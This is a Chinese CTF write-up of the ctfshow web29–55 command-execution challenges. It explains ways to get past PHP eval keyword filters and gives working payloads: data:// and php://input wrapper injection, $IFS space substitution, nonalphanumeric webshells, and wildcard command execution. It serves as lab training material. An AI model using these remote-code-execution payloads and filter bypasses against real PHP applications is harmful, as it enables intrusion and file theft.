ctfshow Web入门[命令执行] web29-55 Writeup
命令执行及绕过技巧
web29
过滤了 flag
下面介绍一下 Linux 下几种绕过关键字过滤的方式
|
|
不仅仅是文件名, 执行的命令也可以这样绕过, 内容为空的单双引号在 shell 中会直接被忽略, 反斜杠表示命令输入没有结束, 会在下一行继续输入 (这里直接跟在反斜杠后面也算是继续输入), 通配符 *
表示匹配所有以 fla
开头的文件, 当然也就匹配了 flag.php
, 而 ?
表示匹配一个字符, fla?.???
匹配以 fla
开头的四个字符的文件名 + .
+ 三个字符的后缀名
另外拼接字符也能够绕过, 例如
|
|
这里由于是 eval 比较灵活, 使用 PHP 里的一些技巧例如文件包含+伪协议的操作也是可以绕过的
web30
|
|
又过滤了 system php
不过还是 eval, 很灵活, 可以尝试跳出 preg_match 的限制
http://7f626fea-3dee-431b-90a1-7c9555cd30a7.challenge.ctf.show/?c=eval($_GET[1]);&1=system('cat flag.php');
或者用 PHP 的反引号执行命令
|
|
web31
|
|
过滤了点, 空格还有单引号
过滤空格的几种绕过方式如下
|
|
过滤 cat 的绕过方式
|
|
本地测试都可以, 在线测试的时候发现只有 %09
可以绕过, 不知道什么情况
|
|
官方 hint 的方法是这样的
show_source(next(array_reverse(scandir(pos(localeconv())))));
分析一下
localeconv()
返回包含本地化数字和货币格式信息的关联数组 (没看懂), 但是要注意的是数组的第一个值为 .
|
|
pos()
即 current()
, 返回数组中的当前值, 默认情况下这里返回的是数组中的第一个值, 也就是 .
scandir()
用于列出指定路径中的文件和目录, 这里列出当前目录下的内容
|
|
array_reverse()
将数组翻转, 就变成了下面这样
|
|
next()
将数组中的内部指针向前移动一位, 也就是返回下标为1 (第二位) 的值 (flag.php)
最后通过 show_source()
高亮显示源码内容
只能说 tql
web32
|
|
又过滤了 echo
;
(
和反引号
可以使用文件包含的方式绕过
PHP 中 include 和 require 函数无需括号和空格也能使用
|
|
然后这里的 ;
可以使用标签闭合的形式绕过 (PHP 中如果语句只有一行那么结尾可以不用加分号)
以下是几个测试成功的 payload
|
|
当然 php://filter 也是可以的
web33
|
|
比上题增加了对双引号的过滤
payload
/index.php?c=include$_GET[1]?>&1=php://input
web34
在上题的基础上又过滤了 :
乍一看以为伪协议用不了, 其实根本没有影响
上题的 payload 依然可用 (参数 c 里面根本就没有 :
)
/index.php?c=include$_GET[1]?>&1=php://input
web35
增加了 <
=
的过滤
payload 同上
web36
增加了 /
0-9
的过滤
上面的 payload 稍微改一下
|
|
web37
跟文件包含差不多
php://input 绕过
或者使用 data://
http://a2325636-9ccd-455f-a45d-6c2b9db50274.challenge.ctf.show/?c=data://text/plain,<?php system('cat fla*');?>
web38
|
|
data:// 协议
http://92612de8-a0e7-4daf-8428-bb1e165d0cdb.challenge.ctf.show/?c=data://text/plain,<?=system('cat fla*')?>
或者是 nginx 日志包含
web39
只能包含以 .php
结尾的文件
php://filter 不能用, 因为用不了通配符, php://input 也不能用, 因为会有 .php
干扰
但是 data:// 还是可以用的
data:// 后执行的 PHP 代码必须要有短标签, 否则就是单纯的字符串
payload
/?c=data://text/plain,<?=system('cat fla*')?>
web40
那个括号看着不太对劲, 复制下来才发现是全角的括号… 哈哈
;
()
没有被过滤
根据 web31 的方法, payload 如下
|
|
参考文章
https://www.freebuf.com/articles/system/242482.html
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE
这里是 nginx 服务器, 我们尝试使用 get_defined_vars()
进行 RCE
利用 current()
取出 $_GET
数组
使用 end()
取出最后一项
这里 end()
取出的是数组对应的值, 也就是 phpinfo();
执行命令
hint 用的是 session 的方式
/?c=session_start();system(session_id());
其中 session_id()
没有指定参数的话返回的是 Cookie 中 PHPSESSID 的值
但是这里的 Cookie 内容只能是数字, 字母还有逗号和减号
本来想用 hex 编码的, 然后发现不能用 hex2bin()
函数, 因为数字被过滤了…
web41
过滤的有点多, 想到了无字母数字的 webshell
参考文章
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html)
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html)
看完之后才发现都被过滤了…
官方 wp
https://wp.ctf.show/d/137-ctfshow-web-web41
利用的是 |
运算符
需要注意的是, 对字符串的或运算其实是对每一位字符对应的 ASCII 的或运算
例如 "abc" | "def"
的执行流程其实是分别将 a
和 d
的 ASCII 码进行或运算, 得到一个新的字符, 然后是 b
和 e
, 以此类推, 一一对应
据此我们可以从 0-255 的 ASCII 码中找到一些不匹配上面正则表达式的特殊字符, 并且使他们或运算的结果是可打印字符 (32-127) (包含大小写字母, 数字和符号)
wp 中已经给出了脚本, 我这里自己写一个 python 脚本
|
|
其中 0-15 的 ASCII 码对应的十六进制是单个字符, 需要在前面补零, 然后再改写成 URL 编码的形式
而代码执行的原理在 p神的文章里有写, 这里的版本恰好是 PHP7
PHP7 前是不允许用
($a)();
这样的方法来执行动态函数的,但 PHP7 中增加了对此的支持。所以,我们可以通过('phpinfo')();
来执行函数,第一个括号中可以是任意 PHP 表达式。
生成的 payload 如下
|
|
web42
将命令输出重定向到 /dev/null (无法回显)
一些命令分隔符
|
|
payload
|
|
或者是用 %0a
换行符
http://559633f0-4f44-467c-8fbc-4f2f9870e424.challenge.ctf.show/?c=cat flag.php%0a
web43
cat 和 ;
被过滤了
使用 tac 绕过
web44
又过滤了 flag
用通配符 *
绕过
web45
又过滤了空格
绕过方式在 web31 中已给出
|
|
hint 如下
|
|
测试了一下发现 echo 后面可以直接用 $IFS
(不加大括号), 第二个 $IFS
后面不能跟字母, 否则会报错, 只能跟 *
命令会把当前目录下的所有文件的内容都显示出来
web46
通配符 *
用不了可以换成 ?
(只匹配一个字符)
|
|
hint 是 nl<fla''g.php||
测了一下发现如果是 *
?
这种通配符的话, 无法使用输入重定向 (因为可能会有多个文件)
像 fla''.php
(其实就是 flag.php
) 这种文件名唯一的才能使用 <
或者 <>
web47
又过滤了 more less head sort tail
tac nl od 依然可以绕过
web48
又过滤了 sed cut awk strings od curl 和反引号
tac 和 nl 绕过
查了一下发现 sed cut awk curl 也能读文件
以下仅列举一点内容 (因为我也不太会用…)
sed
|
|
cut
|
|
awk
|
|
curl
|
|
web49
又过滤了 %
但这里是 url 编码, 所以其实没有效果…
之前的 payload 依然可以绕过
web50
过滤了 [TAB]
(就是 %09
) 和 &
payload
http://8c5d99d3-52cf-47d3-903c-3a6bd680e458.challenge.ctf.show/?c=tac<fla''g.php%0a
web51
tac 被过滤了
用 nl 绕过
web52
过滤了 <
>
, 但是把 $
的过滤取消了
使用 ${IFS}
绕过
|
|
另外还有 nl$IFS$9fla''g.php
, 但是数字被过滤了
然后发现是假的 flag… 真的在根目录下
|
|
web53
nl 绕过
看了 hint 发现 ''
绕过也适用于 Linux 命令
|
|
web54
简单来说就是把 ''
的过滤给 ban 了
无法使用 ca''t
来绕过关键字过滤
用 vi 和 ?
绕过
|
|
网上 wp 的其他绕过方式
|
|
hint 的方法比较有意思
|
|
利用 ?
通配符匹配到 cat 命令的文件路径 /bin/cat
, 然后查看 flag.php
测试了一下发现 ???????
, ???????p
, f?ag.php
fl?ag.php
fla?.php
等等都能读取
但是 ?lag.php
读取不了, 不知道是什么原因
(可能要多试几个 payload?)
web55
直接使用 /???/??? ????.???
会匹配到很多莫名其妙的东西…
参考文章 https://www.cnblogs.com/Dark1nt/archive/2021/06/05/14852301.html
三个思路
- base64 base32 绕过
- bzip2 绕过
.
执行 PHP 文件上传缓存文件绕过
前两个的原理是它们的文件名都带有数字, 相对来说可以精确匹配 (但不同系统环境不一样, 只能碰运气, 比如我本地 wsl Ubuntu 默认匹配到的是 /bin/X11/x86_64
)
第三个的原理可以参考 p神之前的文章 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
base64 绕过
|
|
bzip2 (注意路径是 /usr/bin/bzip2)
|
|
.
执行缓存文件绕过
php 上传文件时的缓存文件存储路径一般是 /tmp, 文件名为 php[六位随机大小写字母]
, 总长度为9
Linux 使用 glob 通配符 [@-[]
来匹配大写字母 (ASCII 码区间)
|
|
这里匹配的是最后一个字符是大写字母的文件 (PHP 缓存的文件名最后一个字母可能是大写字母, 实际上, 6位随机字符中任意一个位置都有可能是大写字母)
其实测试一下发现, 将 [@-[]
放到后六位的任何一位都可以成功执行, 匹配到的概率都差不多
这里因为 bzip2 压缩文件默认会把源文件删除, 所以只剩下 flag.php.bz2 了